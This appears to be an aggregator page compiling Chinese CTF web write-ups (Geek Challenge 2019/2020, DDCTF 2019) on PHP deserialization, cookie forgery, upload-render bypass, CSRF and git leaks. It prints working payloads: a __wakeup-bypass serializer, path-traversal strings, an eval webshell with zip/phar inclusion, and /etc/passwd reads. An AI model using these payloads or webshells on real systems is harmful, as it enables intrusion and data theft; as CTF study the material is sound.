GVKun编程网logo

2019极客大挑战PHP反序列化(php极客学院教程下载)

19

针对2019极客大挑战PHP反序列化和php极客学院教程下载这两个问题,本篇文章进行了详细的解答,同时本文还将给你拓展2019DDCTFWEB笔记(PHP反序列化&&GD库渲染文件上传绕过)、2020

针对2019极客大挑战PHP反序列化php极客学院教程下载这两个问题,本篇文章进行了详细的解答,同时本文还将给你拓展2019DDCTF WEB 笔记(PHP反序列化&&GD库渲染文件上传绕过)、2020极客大挑战Web题、BUU [极客大挑战 2019]PHP、buu-[极客大挑战 2019]Secret File等相关知识,希望可以帮助到你。

本文目录一览:

2019极客大挑战PHP反序列化(php极客学院教程下载)

2019极客大挑战PHP反序列化(php极客学院教程下载)

1. 进入题目看到一只猫和提示备份的习惯。猜测可能有源码泄露,通过目录扫描工具可以获取到备份文件:www.zip包含其源码。
2. 对其源码进行审计
  a. index.PHP 包含文件index.PHP;通过get方式获取一个参数select,并对参数select进行反序列化

  

  b. class.PHP 包含flag.PHP。主体部分为一个Name类,
  i. 有两个私有变量username,password
  ii. 构造方法__construct($usernam,$password)
  iii. 魔幻函数__wakeup(),在进行反序列化时调用,给变量username赋值为guest
  iv. 销毁函数__destruct(),结束对象是执行
    1) 第一个if判断是password是否为100。如果不为100就结束方法。
    2) 第二个if判断username是否为'admin',且为字符串。如果满足条件就输出flag

 

3. 解题思路:由index.PHP中的反序列化可以想到的是通过反序列化触发Name类中的魔幻函数,绕过wakeup()函数,最后执行destruct时,username='admin',password=100满足if条件输出flag
4. payload

<?PHP
class Name{
    private $username = 'nonono';
    private $password = 'yesyes';
  //username==='admin' password = 100    
}
//通过构造方法username='admin' password = 100 $a = new Name('admin',100); //序列化操作,并对字符串进行URL编码,因为Name类的变量为私有变量,避免打印时漏掉空格 $b = urlencode(serialize($a)); //修改属性的的个数,绕过__wakeup()函数 $b = str_replace('%3A2%3A','%3A3%3A',$b); echo $b ; ?>

flag

 

2019DDCTF WEB 笔记(PHP反序列化&&GD库渲染文件上传绕过)

2019DDCTF WEB 笔记(PHP反序列化&&GD库渲染文件上传绕过)

滴~

先上大佬的WP(https://impakho.com/post/ddctf-2019-writeup) ~~~膜

第一题设计的是base64和文件包含,源码泄露和变量覆盖并且脑洞的一题目

引用这位大佬的WP里的图片(https://www.cnblogs.com/sijidou/p/10725355.html)

题目的url看上去就像是文件包含,确实。

先是base64第二解码,然后是16进制再转字符串,是flag.jpg,呢么可以用php://filter读取下源码

源码里有博客链接,进去后找到个.practice.txt.swp这样的文章中的实例提示。呢么就尝试这进入,然后绕过正则对!的限制

<?php
/*
 * https://blog.csdn.net/FengBanLiuYun/article/details/80616607
 * Date: July 4,2018
 */
error_reporting(E_ALL || ~E_NOTICE);


header(''content-type:text/html;charset=utf-8'');
if(! isset($_GET[''jpg'']))
    header(''Refresh:0;url=./index.php?jpg=TmpZMlF6WXhOamN5UlRaQk56QTJOdz09'');
$file = hex2bin(base64_decode(base64_decode($_GET[''jpg''])));
echo ''<title>''.$_GET[''jpg''].''</title>'';
$file = preg_replace("/[^a-zA-Z0-9.]+/","", $file);
echo $file.''</br>'';
$file = str_replace("config","!", $file);
echo $file.''</br>'';
$txt = base64_encode(file_get_contents($file));

echo "<img src=''data:image/gif;base64,".$txt."''></img>";
/*
 * Can you find the flag file?
 *
 */

?>

因为他把config替换成了!,呢么就直接利用文件包含读呗

<?php
include(''config.php'');
$k = ''hello'';
extract($_GET);
if(isset($uid))
{
    $content=trim(file_get_contents($k));
    if($uid==$content)
    {
        echo $flag;
    }
    else
    {
        echo''hello'';
    }
}

?>

简单的变量覆盖,$k可以用php://input为空,$uid=为空就完事了

 

 

 

 

 

 

WEB 签到题

emmmmm,这题看了WP挺久,因为我想把源码都看懂,最后看懂了,发现。。emmm,简单,代码审计还是要多看理解下,多长点知识,补充自己不知道的点.

一开始的需要凭自己敏锐的嗅觉去发现,或者burp抓包可以看到,header头中,ddctf_username为空,试着admin,然后就给了两个文件路径

先直接上源码,因为没做,所以直接看的大佬WP,学习的

/app/Application.php

Class Application {
    var $path = '''';

    public function response($data, $errMsg = ''success'') {
        $ret = [''errMsg'' => $errMsg,
            ''data'' => $data];
        $ret = json_encode($ret);
        header(''Content-type: application/json'');
        echo $ret;

    }

    public function auth() {
        $DIDICTF_ADMIN = ''admin'';
        if(!empty($_SERVER[''HTTP_DIDICTF_USERNAME'']) && $_SERVER[''HTTP_DIDICTF_USERNAME''] == $DIDICTF_ADMIN) {
            $this->response(''您当前当前权限为管理员----请访问:app/fL2XID2i0Cdh.php'');
            return TRUE;
        }else{
            $this->response(''抱歉,您没有登陆权限,请获取权限后访问-----'',''error'');
            exit();
        }

    }
    private function sanitizepath($path) {
    $path = trim($path);
    $path=str_replace(''../'','''',$path);
    $path=str_replace(''..\\'','''',$path);
    return $path;
}

public function __destruct() {
    if(empty($this->path)) {
        exit();
    }else{
        $path = $this->sanitizepath($this->path);
        if(strlen($path) !== 18) {
            exit();
        }
        $this->response($data=file_get_contents($path),''Congratulations'');
    }
    exit();
}
}

/app/Session.php

include ''Application.php'';
class Session extends Application {

    //key建议为8位字符串
    var $eancrykey                  = '''';
    var $cookie_expiration          = 7200;
    var $cookie_name                = ''ddctf_id'';
    var $cookie_path                = '''';
    var $cookie_domain              = '''';
    var $cookie_secure              = FALSE;
    var $activity                   = "DiDiCTF";

    public function index()
    {
    if(parent::auth()) {
            $this->get_key();
            if($this->session_read()) {
                $data = ''DiDI Welcome you %s'';
                $data = sprintf($data,$_SERVER[''HTTP_USER_AGENT'']);
                parent::response($data,''sucess'');
            }else{
                $this->session_create();
                $data = ''DiDI Welcome you'';
                parent::response($data,''sucess'');
            }
        }

    }

    private function get_key() {
        //eancrykey  and flag under the folder
        $this->eancrykey =  file_get_contents(''../config/key.txt'');
    }

    public function session_read() {
        if(empty($_COOKIE)) {
        return FALSE;
        }

        $session = $_COOKIE[$this->cookie_name];
        if(!isset($session)) {
            parent::response("session not found",''error'');
            return FALSE;
        }
        $hash = substr($session,strlen($session)-32);
        $session = substr($session,0,strlen($session)-32);

        if($hash !== md5($this->eancrykey.$session)) {
            parent::response("the cookie data not match",''error'');
            return FALSE;
        }
        $session = unserialize($session);


        if(!is_array($session) OR !isset($session[''session_id'']) OR !isset($session[''ip_address'']) OR !isset($session[''user_agent''])){
            return FALSE;
        }

        if(!empty($_POST["nickname"])) {
            $arr = array($_POST["nickname"],$this->eancrykey);
            $data = "Welcome my friend %s";
            foreach ($arr as $k => $v) {
                $data = sprintf($data,$v);
            }
            parent::response($data,"Welcome");
        }

        if($session[''ip_address''] != $_SERVER[''REMOTE_ADDR'']) {
            parent::response(''the ip addree not match''.''error'');
            return FALSE;
        }
        if($session[''user_agent''] != $_SERVER[''HTTP_USER_AGENT'']) {
            parent::response(''the user agent not match'',''error'');
            return FALSE;
        }
        return TRUE;

    }

    private function session_create() {
        $sessionid = '''';
        while(strlen($sessionid) < 32) {
            $sessionid .= mt_rand(0,mt_getrandmax());
        }

        $userdata = array(
            ''session_id'' => md5(uniqid($sessionid,TRUE)),
            ''ip_address'' => $_SERVER[''REMOTE_ADDR''],
            ''user_agent'' => $_SERVER[''HTTP_USER_AGENT''],
            ''user_data'' => '''',
        );

        $cookiedata = serialize($userdata);
        $cookiedata = $cookiedata.md5($this->eancrykey.$cookiedata);
        $expire = $this->cookie_expiration + time();
        setcookie(
            $this->cookie_name,
            $cookiedata,
            $expire,
            $this->cookie_path,
            $this->cookie_domain,
            $this->cookie_secure
            );
    }
}

$ddctf = new Session();
$ddctf->index();

这其实也是PHP序列化的题目,但是设计到了MD5的加盐和PHP代码审计

我的PHP代码审计之路:先是获得cookie,cookie是先把

$userdata = array(
            ''session_id'' => md5(uniqid($sessionid,TRUE)),
            ''ip_address'' => $_SERVER[''REMOTE_ADDR''],
            ''user_agent'' => $_SERVER[''HTTP_USER_AGENT''],
            ''user_data'' => '''',
        );

这一串序列化,然后md5加盐(即把''slat+序列化后的cookie''md5加密)然后加到序列化后的值后面,像这样的一串

a:4:{s:10:"session_id";s:32:"3853b51fc9cd327af530a6c09e11259d";s:10:"ip_address";s:14:"223.104.64.208";s:10:"user_agent";s:11:"curl/7.61.0";s:9:"user_data";s:0:"";}97ce8958578b78e4d91ca007527dfa53

呢么我们肯定要知道eancrykey的值,才能伪造cookie,然后反序列化,因为是18个字符,猜测flag地址为../config/flag.txt,但是会把../和..\\置空,呢么可以用....//config/flag.txt来绕过.

首先是获取eancrykey的值

if(!empty($_POST["nickname"])) {
            $arr = array($_POST["nickname"],$this->eancrykey);
            $data = "Welcome my friend %s";
            foreach ($arr as $k => $v) {
                $data = sprintf($data,$v);
            }
            parent::response($data,"Welcome");
        }

前面的if可以不用管,第一次获得的cookie不用改就好,然后POST nickname=%s 就可以输出eancrykey     这里看一下foreach,这是个遍历数组(https://www.cnblogs.com/limeng951/p/5623607.html),并且as $k=>$v,是下标和值的对应方式,然后sprintf是格式化函数,第一次sprintf(''welcome my friend %s'',%s),然后$data没变,还是有%s,$data=''welcome my friend %s'',那么第二次遍历的就是$data=sprint(''welcome my friend %s'',eancrykey),然后$data=welcome my friend $eancrykey,知道了eancrykey后,就可以伪造cookie,impakho师傅直接用Application类序列化,看了另一个人的WP,是用session类来先伪造session,然后再序列化.这样就麻烦了,感觉简单的还是用Application类直接构造,

序列化的代码

<?php
Class Application {
    var $path = ''....//config/flag.txt'';

    public function response($data, $errMsg = ''success'') {
        $ret = [''errMsg'' => $errMsg,
            ''data'' => $data];
        $ret = json_encode($ret);
        header(''Content-type: application/json'');
        echo $ret;

    }

    public function auth() {
        $DIDICTF_ADMIN = ''admin'';
        if(!empty($_SERVER[''HTTP_DIDICTF_USERNAME'']) && $_SERVER[''HTTP_DIDICTF_USERNAME''] == $DIDICTF_ADMIN) {
            $this->response(''您当前当前权限为管理员----请访问:app/fL2XID2i0Cdh.php'');
            return TRUE;
        }else{
            $this->response(''抱歉,您没有登陆权限,请获取权限后访问-----'',''error'');
            exit();
        }

    }
    private function sanitizepath($path) {
    $path = trim($path);
    $path=str_replace(''../'','''',$path);
    $path=str_replace(''..\\'','''',$path);
    return $path;
}

public function __destruct() {
    if(empty($this->path)) {
        exit();
    }else{
        $path = $this->sanitizepath($this->path);
        if(strlen($path) !== 18) {
            exit();
        }
        $this->response($data=file_get_contents($path),''Congratulations'');
    }
    exit();
}
}
$a=new Application();
echo serialize($a);
?>

序列化出来的字符串:O:11:"Application":1:{s:4:"path";s:21:"....//config/flag.txt";},再用得到的eancrykey ,md5加盐后,加再字符串后,并且urlencode一下,存到cookie中请求

ddctf_id=O%3A11%3A%22Application%22%3A1%3A%7Bs%3A4%3A%22path%22%3Bs%3A21%3A%22....%2F%2Fconfig%2Fflag.txt%22%3B%7D77cd55a8d29df4f005f85e536d876525

然后就可以得到flag

 

 

Upload-IMG

这题长见识了,我自己也搭了个上传靶场upload-labs-master,并且自己实验了一下,二次渲染后,结合php本地包含,成功执行

配置了一下php环境,然后上传到

先随便将一张jgp图片上传,然后下载服务器端上的图片,发现经过了渲染,gd库处理

然后利用大佬提到链接里的脚本(https://xz.aliyun.com/t/2657#toc-13),处理一下

然后再上传上去

经过脚本处理后的图片,用winhex打开,发现已经加入phpinfo字串

然后结合文件包含漏洞ok

具体原理可以查看文章,记得这个知识点

并且我自己玩了下包含的zip://和phar://伪协议

<?php
@eval($_POST[sky]);

然后命名为sky.php,再压缩重命名为sky.jpg,上传后,利用http://127.0.0.1/upload-labs-master/include.php?file=zip://upload/sky.jpg#sky.php

菜刀链接发现连接不上

然后改用http://127.0.0.1/upload-labs-master/include.php?file=phar://upload/sky.jpg/sky.php,就能菜刀链接了

zip:// 格式是 zip://xxx.png%23shell.php

phar://格式是phar://xxx.png/shell.php

 

写了半天,发现题目还是能进?我要去玩玩.前面的题目都复现成功。

2020极客大挑战Web题

2020极客大挑战Web题

前言

wp是以前写的,整理一下发上来。
不是很全。

2020 极客大挑战 WEB

1、sha1碰撞

题目

图片:



思路

  1. 题目说,换一种请求方式。于是换成post。得到一给含有代码的图片

图片:



  1. 分析该图片,得知只有传承的roam1和roam2的值不相等,而且SHA1加密后的值相同才会出现flag

    PHP对数组进行sha1加密都为false。所以我们传入两个数组进去

  2. 构造payload

    roam1[]=1&roam2[]=2 //这是post传数组的特定形式。

  3. 成功打开PHPinfo()

图片:



  1. 查找flag,发现没有。但是发现个目录

图片:



  1. 访问该目录,发现页面不存在

图片:



  1. 换个思路,去抓个包。发现flag

图片:



2、csrf提交

题目

图片:



网站

图片:



解题思路

  1. 第一步肯定是要注册啦。没有账号玩个锤子

    注册用户xxxxxx

  2. 进行一番研究后,发现最底下有个flag出售,但是卖得好贵。而我只有11元

  3. 看了下主页排行榜和报告发现里面有信息

图片1:



发现只有Longlone这个人的账户最有钱。是无限的

图片2:



发现了他会定期查看报告。

思考是什么漏洞

  1. 现在有xss漏洞。我们可以获得访问我们报告的那个人的cookie。进而去买flag

  2. 有修改金额漏洞,去个10元钱的东西,抓包改成买flag的(这个以前很流行)

  3. 有批量注册账号,然后都往一个账号转账的,因为每一个账号都有11元。但是这工作量巨大。

  4. csrf,让管理员去请求转账的页面。完成对我们的转账

思路

验证码用md5批量加密,找到符合的就行
细节:报告文本框里可以填入链接,后台管理员会自己点。不需要放xss脚本

1. 用xss拿到了管理员的cookie。但是管理员的cookie名称为token,我们的为PHPSESSID。所以没用

2. 计划构造一个csrf的POC,生成一个页面,部署到公网服务器上。把该服务器网络url粘贴到报告框,拿去给机器人访问

开始渗透

1. 计算验证码的

图片:



2. 去转帐页面,填入给我们转账的信息,以及金额,最后用burp抓表单包,再右键生成csrf网页

图片1:



图片2:



图片3:



3. 但是burp的POC不具备自动提交表单的js代码。我们自己写一段自动提交表单js插入进去

图片4:



4. 这时候把代码部署到远程服务器上,我的是用ngrok的内网穿透服务器

5. 报告内容填上我们kali的ngrok内网穿透地址 http://lowkey.free.idcfengye.com/test.html

6. 计算出验证码提交

图片5:



7. 等待一会后,转账到了。马上就去买flag。

图片6:



图片7:



小tips

最好先自己本地复现一下构造的POC是否有用。抓包看下提交表单出去没有即可。

3、备份文件下载

有些人喜欢备份网页PHP

一般备份网页PHP的目录:

图片:



这题wp我没写完,应该是找到那个文件,里面就有flag。

4、刘壮的黑页

get请求和post请求一起发

图片:



5、githcak

介绍

当前大量开发人员使用git进行版本控制,对站点自动部署。如果配置不当,可能会将.git文件夹直接部署到线上环境。这就引起了git泄露漏洞。

危害

Git信息泄露的危害很大,渗透测试人员、攻击者,可直接从源码获取敏感配置信息(如:邮箱,数据库),也可以进一步审计代码,挖掘文件上传、sql注射等安全漏洞。FreeBuf之前也有相关报道

githack工作原理

1、解析.git/index文件,找到工程中所有的: ( 文件名,文件sha1 )

2、去.git/objects/ 文件夹下下载对应的文件

3、zlib解压文件,按原始的目录结构写入源代码

scrabble工具

首先

git clone https://github.com/denny0223/scrabble
  1. 进入scrabble文件

  2. 执行命令,下载git源码

    ./scrabble http://47.100.46.169:3902/

  3. 查看

    ls -a 查看当前目录所有内容
    cat fl4g 查看flag文件
    git log 查看git修改日志

图片:



可以看到有两个版本,因为这个版本没什么信息,接下来要切换版本。

  1. 切换git版本,并查看flag

    git reset --hard

图片:



6、我是大黑客

题目

图片:



  1. 打开http://39.106.144.160:100/liuzhuang.PHP.bak

下载

  1. 看源码,知道了后门密码

图片:



  1. 菜刀连接

图片:



7、linux敏感目录

题目

图片:



思路

  1. 根据页面提示,flag在主目录中。而且下面一段代码被注释掉了,应该没有太大价值。

  2. 看看url,发现变量名是PHPfile,应该是指文件,这应该有PHP伪协议。但我们先试一下任意目录读取

过程

  1. 访问/etc/passwd文件

    payload: http://47.94.239.194:8082/displaySourceCode.php?phpfile=/etc/passwd

    得到了一堆数据,说明可能存在任意目录读取

  2. 访问/proc/mount 文件,该文件记录了系统挂载设备的一些信息。会有大量数据泄露

图片:



  1. 访问该目录下的flag文件,得到flag

图片:



BUU [极客大挑战 2019]PHP

BUU [极客大挑战 2019]PHP

没空,看了wp学着做,懒得慢慢来了

https://www.jianshu.com/p/bfe00fd583df

https://blog.csdn.net/weixin_44077544/article/details/103542260

综合以上两位大佬的博客,外加一点思考,就出来了

buu-[极客大挑战 2019]Secret File

buu-[极客大挑战 2019]Secret File

打开题目

 

 根据提示页面应该是隐藏了一些信息的

查看一下源代码

发现了

 

 进去看看

 

 中间是一个连接,通过查看源代码可以得知是./action.php

点进去看看

 

发现跳转到了end.PHP

根据提示猜测应该是action.php的访问时间短,过了访问时间后会直接跳转到end.PHP

使用bp抓包试试

 

我们今天的关于2019极客大挑战PHP反序列化php极客学院教程下载的分享就到这里,谢谢您的阅读,如果想了解更多关于2019DDCTF WEB 笔记(PHP反序列化&&GD库渲染文件上传绕过)、2020极客大挑战Web题、BUU [极客大挑战 2019]PHP、buu-[极客大挑战 2019]Secret File的相关信息,可以在本站进行搜索。

本文标签: